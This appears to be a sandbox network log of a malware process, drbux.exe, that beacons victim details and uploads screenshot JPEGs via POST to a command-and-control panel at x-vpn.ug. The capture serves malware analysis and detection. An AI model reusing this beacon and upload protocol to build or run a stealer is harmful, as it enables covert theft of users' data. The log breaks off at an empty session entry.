Jul 19, 2021 18:37:01.836158991 CEST	22013	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:01.959273100 CEST	22014	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 6 Connection: keep-alive Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Jul 19, 2021 18:37:02.005079985 CEST	22014	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:02.005300045 CEST	22014	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:02.005532026 CEST	22024	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:02.005733967 CEST	22027	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:02.102658987 CEST	22030	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:02.102684021 CEST	22030	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:02.102881908 CEST	22054	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:02.202995062 CEST	22057	OUT	Data Raw: 80 15 7b c7 da bd bd ce a9 6f e1 ad 33 e4 d2 74 74 58 c2 03 c3 be 38 27 d7 8e 73 ea 4f a5 66 da c3 a7 5c e9 17 56 f7 88 c2 42 e8 d1 c8 8d b5 90 00 c0 e0 fe 23 8a e5 85 e7 2e 77 f2 3a 9d a1 1e 54 4b ac 99 bc 50 d0 7f 68 cf 21 48 73 b1 23 c2 ae 4f Data Ascii: {o3ttX8'sOf\VB#.w:TKPh!Hs#Or9xEy iHmyup[]6g /v&]FdhFibOlpN,DgG M>rzvjkI\|W3lQrT:\wZ``(UJN<r(
Jul 19, 2021 18:37:02.203021049 CEST	22059	OUT	Data Raw: 3d 6b 62 e3 fe 45 2d 1f fe b9 8f e5 58 fd eb 93 0d f0 bf 56 69 8c f8 d7 a2 01 ef 4b 81 45 2d 74 9c 68 40 29 f8 a6 d2 8a 45 21 c0 53 bb d3 69 c2 a4 a4 38 52 8a 05 28 35 2c b4 2d 38 73 48 08 a5 cd 49 a2 1e 29 45 34 53 85 26 52 1c 29 e2 9a 3a 52 81 Data Ascii: =kbE-XViKE-th@)E!Si8R(5,-8sHI)E4S&R):RPCjAQRhNNcL*A&W9-rc-~X"UcZ')6im]EpFk[M6yu4Ho4`aV[yI;m
Jul 19, 2021 18:37:02.203048944 CEST	22068	OUT	Data Raw: 03 ea 2b a3 d3 75 cd 32 cb cc d3 20 d4 ac d2 38 34 67 b4 8a f6 f2 c9 a5 82 59 de e1 65 6f dd 98 dc 94 03 20 6e 4e d9 c0 cd 61 78 82 f2 d2 ff 00 5d 92 e2 cd fc d0 61 89 65 98 2b 2a 4b 2a a0 0c c8 ad ca a1 23 e5 5c 0c 0c 00 14 70 2e 15 66 e6 93 db Data Ascii: +u2 84gYeo nNax]ae+K#\p.f]A77Mmh3`Lgz<$kHn4"O4 0n;=IB7S:0jvAc-l$wLQKcO1hfJOKvv
Jul 19, 2021 18:37:02.203129053 CEST	22073	OUT	Data Raw: 68 97 1d 72 e0 60 63 eb 55 e4 b6 b8 86 de 0b 89 6d e5 48 2e 37 18 64 64 21 64 da 70 76 9e 87 07 83 8a ee 13 4b d7 35 0f 16 e8 ba be 91 0d c4 9a 45 bc 16 c6 1b a8 c9 f2 2d a3 48 d7 cd 47 61 c2 60 89 37 29 c1 39 3c 1d dc 97 b7 36 7a a6 8b a1 e8 28 Data Ascii: hr`cUmH.7dd!dpvK5E-HGa`7)9<6z(V+;esA0=2jwU%k>K#Lm,c)}GyIxr%rn=^2)VW$?Hcr,WOlh<&F7dJO#n7
Jul 19, 2021 18:37:02.203231096 CEST	22086	OUT	Data Raw: d7 4b e8 be e1 62 66 af 39 4d 5d 46 ca dd 35 b6 af ef 2f 49 a3 68 5e 14 58 f5 ab 6d 4e f2 d6 d2 36 f9 a1 8a 6d e9 39 ec b8 e7 39 ff 00 38 eb 5a 36 fa f5 bf 88 7c 29 a8 dd 40 8f 13 24 33 47 24 4f f7 90 85 3d 7f 0c 57 3b f0 f2 38 e5 be d6 16 d1 25 Data Ascii: Kbf9M]F5/Ih^XmN6m998Z6\|)@$3G$O=W;8%}Sdn z~no;F1MZjmFNzXjpIFWVWNQE2QIE}+.e\|gwixn3ZG46:;m>xRXo7PAG

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.2.6	50107	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:02.182459116 CEST	22054	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:02.262095928 CEST	22099	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.2.6	50108	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:02.479201078 CEST	22112	OUT	POST /hfV3vDtt/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: x-vpn.ug Content-Length: 85 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 33 31 26 73 64 3d 33 30 30 38 37 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 36 35 39 36 39 26 75 6e 3d 65 6e 67 69 6e 65 65 72 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.31&sd=30087f&os=1&bi=1&ar=1&pc=965969&un=user&dm=&av=13&lv=0
Jul 19, 2021 18:37:02.574053049 CEST	22113	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.6	49772	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:35:41.351301908 CEST	4343	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6e2e3119131b79d46801c9ae5fd87945 Host: x-vpn.ug Content-Length: 96835 Cache-Control: no-cache
Jul 19, 2021 18:35:41.351392031 CEST	4343	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 65 32 65 33 31 31 39 31 33 31 62 37 39 64 34 36 38 30 31 63 39 61 65 35 66 64 38 37 39 34 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6e2e3119131b79d46801c9ae5fd87945Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:35:41.351589918 CEST	4353	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:35:41.351733923 CEST	4356	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:35:41.444793940 CEST	4359	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:35:41.444978952 CEST	4361	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:35:41.445297003 CEST	4364	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:35:41.445416927 CEST	4367	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc
Jul 19, 2021 18:35:41.445916891 CEST	4372	OUT	Data Raw: bc 25 a4 a7 89 e0 b3 9b 53 96 eb ec 5a a4 16 5a 94 1f 63 da a5 9d 8a e1 1b cc f9 97 72 95 24 85 20 1c 80 7a 55 3f 10 43 a1 cf e1 f6 d5 ad a5 9b ed d2 ea b3 db 80 ba 7c 76 f1 94 45 8f 0b b5 24 2a a0 03 9c 85 c9 24 83 ea 72 67 f1 36 bd 71 2d b4 b2 Data Ascii: %SZZcr$ zU?C\|vE$*$rg6q-_'o<w+"DyPeaST}.nZ,$8+sgi5<MOcSkxn(a,Qa2YG4\A!h\Idx;XmF6FM~\|P
Jul 19, 2021 18:35:41.445943117 CEST	4375	OUT	Data Raw: b9 aa 50 ea 8f 4e 86 2e 32 d0 c4 29 51 95 ad 03 0e 0f 4a 82 48 b1 5c 92 a7 63 ba 35 13 30 3b d5 9b 00 1b 52 b5 0d d0 cc 80 fe 62 ab 53 91 cc 72 2b af 0c a4 11 5e 63 57 56 3d 16 ae ac 7a 99 c1 04 1e 86 ba 3d 27 36 fe 09 be 78 cf ef 25 bc 58 a4 23 Data Ascii: PN.2)QJH\c50;RbSr+^cWV=z='6x%X##V.b3Cxl{[[*R:0aU9AFz?U52Y\|;ct}>_O:8A#HXf{X2&6^m\|c^h
Jul 19, 2021 18:35:41.446335077 CEST	4379	OUT	Data Raw: 6b 34 35 3d 5e ad 54 66 6e 92 35 05 c8 3d 54 53 84 91 37 de 51 59 c1 cd 3c 3d 68 a6 64 e9 97 fc ab 57 fe 01 4c 6b 0b 56 f6 aa c1 e9 c1 cd 3f 75 f4 26 d3 5b 32 43 a5 42 7e eb d4 67 48 1f c3 25 3c 4a 7d 6a 41 33 76 34 72 41 f4 0e 7a 8b a9 51 b4 99 Data Ascii: k45=^Tfn5=TS7QY<=hdWLkV?u&[2CB~gH%<J}jA3v4rAzQLN;t{Qck(S\|TSAP}fKtsOY]Qp~L:Q{&2Ltem=_R)qRwT\|;~Gx@JvxO
Jul 19, 2021 18:35:41.740078926 CEST	4441	IN	HTTP/1.1 200 OK Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:35:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.2.6	50109	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
Jul 19, 2021 18:37:02.621851921 CEST	22113	OUT	POST /hfV3vDtt/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ef973b17689de8f52c4b073e0df426bc Host: x-vpn.ug Content-Length: 96662 Cache-Control: no-cache
Jul 19, 2021 18:37:02.622283936 CEST	22114	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 66 39 37 33 62 31 37 36 38 39 64 65 38 66 35 32 63 34 62 30 37 33 65 30 64 66 34 32 36 62 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------ef973b17689de8f52c4b073e0df426bcContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Jul 19, 2021 18:37:02.622512102 CEST	22124	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:02.622869968 CEST	22126	OUT	Data Raw: 1d f0 a3 1a db 21 c6 98 7a d7 b4 c1 a3 e9 be 22 bb d0 bc 56 b1 c1 05 9d bc 0c f7 91 aa 85 55 74 e4 71 ec db bf 00 2b cb 3c 4d ad 49 e2 0f 10 5d 6a 0f 90 8e db 62 53 fc 28 38 51 f9 7e a4 d7 9e d5 82 74 79 15 ef e8 75 7e 0d 83 c1 ba 86 8d 34 7a 8e Data Ascii: !z"VUtq+<MI]jbS(8Q~tyu~4zu6ei5FUtVqhAZ4Q,sI=*O&Gl3HeA!$aKT~[e <GU4?gx6)D\]sZ
Jul 19, 2021 18:37:02.701610088 CEST	22127	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx/1.16.1 Date: Mon, 19 Jul 2021 16:37:02 GMT Content-Type: text/html; charset=utf-8 Content-Length: 197 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>503 Service Temporarily Unavailable</title></head><body><center><h1>503 Service Temporarily Unavailable</h1></center><hr><center>nginx/1.16.1</center></body></html>
Jul 19, 2021 18:37:02.703347921 CEST	22128	OUT	Data Raw: eb 54 35 24 b0 4d 6e ca b3 c3 24 4c c8 b2 28 75 2a 4a b0 ca b0 cf 62 39 07 bd 67 f5 2a 3d 8e 9f ed 8c 67 f3 fe 0b fc 85 fb 73 ff 00 cf 1f fc 7b ff 00 ad 51 bc 86 67 dc 57 6f 18 c6 68 a2 b4 a7 86 a7 4e 5c d1 46 15 f3 0c 45 78 72 54 95 d7 a2 1b 45 Data Ascii: T5$Mn$L(uJb9g=gs{QgWohN\FExrTE)WA%\|;m":6^I38$1T[d5VUl, }.d;3nKI^[axraV &C`UyEIqes`w\t)JR4
Jul 19, 2021 18:37:02.703880072 CEST	22130	OUT	Data Raw: ba f5 28 ca cd 9f 62 38 18 e3 f0 af 05 b3 1a b5 9d da 8b 11 7b 05 c4 b0 97 5f 20 3a bb c7 8d c4 f1 c9 5c 2e 73 d3 8c f6 a9 db 5b d7 c4 31 cc fa 9e a6 22 90 90 8e d3 c9 b5 88 c6 40 39 e7 19 19 fa 8a c9 a9 5d f2 bd cd 53 56 5c cb 63 ab f8 85 ab 9b Data Ascii: (b8{_ :\.s[1"@9]SV\c:&Es?WObM<34,F,M+[:#CIU-zpq5'(E.RJRl.u?7(7R{)?7mWVso3z.*:O5OB0t;._"
Jul 19, 2021 18:37:02.703893900 CEST	22131	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Jul 19, 2021 18:37:02.703901052 CEST	22134	OUT	Data Raw: 6f 0b 6b b2 96 d5 b4 eb 04 bd b0 65 f2 cc 77 53 86 1e 77 46 fd d0 1f 5c 71 e8 6b 8e f2 50 9e 45 3b cb 19 07 1d 2b 9b d8 be fd bf 07 73 a1 d6 47 6d 74 9a 97 8e 74 49 a7 d2 74 d9 25 b8 7d 7e 7b 89 ad e0 1b cc 09 2a 47 b1 9b 1c 85 ca 36 58 80 32 0f Data Ascii: okewSwF\qkPE;+sGmttIt%}~{G6X2J_k}iWw6~i#a^jI''A]WlGD:}4yn?^\|/;=]<-/%7b+></9WIb8.>r-u`
Jul 19, 2021 18:37:02.704088926 CEST	22135	OUT	Data Raw: 7a 4a 28 01 68 14 52 d3 42 10 d1 4b 45 00 25 06 96 8a 00 29 68 a2 80 03 49 4b 41 a6 02 52 1a 5a 29 00 82 83 4e c5 34 d0 01 45 2d 25 00 14 51 45 00 14 51 45 03 01 4b 49 40 a0 42 d1 45 27 7a 00 5a 29 0d 2d 00 14 51 45 00 2d 19 a4 a5 a0 03 bd 2d 25 Data Ascii: zJ(hRBKE%)hIKARZ)N4E-%QEQEKI@BE'zZ)-QE--%-11KEQK@Z(ESR-0aEP!ii)JZ`--%tp4ZbcL6$QiwB1b;u850D&#IVr.;*`cKEJb#+1!RbRS%R@(hR
Jul 19, 2021 18:37:02.704343081 CEST	22137	OUT	Data Raw: 4f f3 15 8b 5b 5e 19 ff 00 90 94 9f f5 c4 ff 00 31 5a e1 7f 8d 13 2c 5f f0 64 75 75 bf e1 cf 08 6a 7e 25 93 75 b2 08 ed 94 e1 ee 24 fb a0 fa 0f 53 59 7a 65 8b ea 7a a5 b5 92 10 a6 69 02 6e 3d 14 77 3f 80 e6 bd 72 cf 5d 69 d1 f4 bf 0c 47 14 1a 6d Data Ascii: O[^1Z,_duuj~%u$SYzezin=w?r]iGmxQr{NmO~et<]mnZ g>h?s>#2(IO{IxJ**qWhzF#Q}2ypI)'v=40Xqk\|X%l#]
Jul 19, 2021 18:37:02.704394102 CEST	22141	OUT	Data Raw: 01 f6 e9 8a 5d 33 e1 6e 93 62 e6 6b d9 e5 bd 65 19 08 c3 62 7e 20 72 7f 3a f3 b9 32 fe 5b f3 4a fd bf a4 7a 3c f9 87 35 b9 63 6e ff 00 d3 38 5f 1f eb 36 3a e7 88 52 ef 4f 98 cb 08 b7 54 2c 50 af 20 b7 62 07 a8 af 3d f1 37 fc 83 63 ff 00 ae c3 f9 Data Ascii: ]3nbkeb~ r:2[Jz<5cn8_6:ROT,P b=7c_6??z5K<U\Rl%.(PDK?v+ q>kt~<Qr7v 1;_VO%zF=E:wyzZNQEc

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.2.6	50110	185.114.247.54	80	C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Timestamp	kBytes transferred	Direction	Data
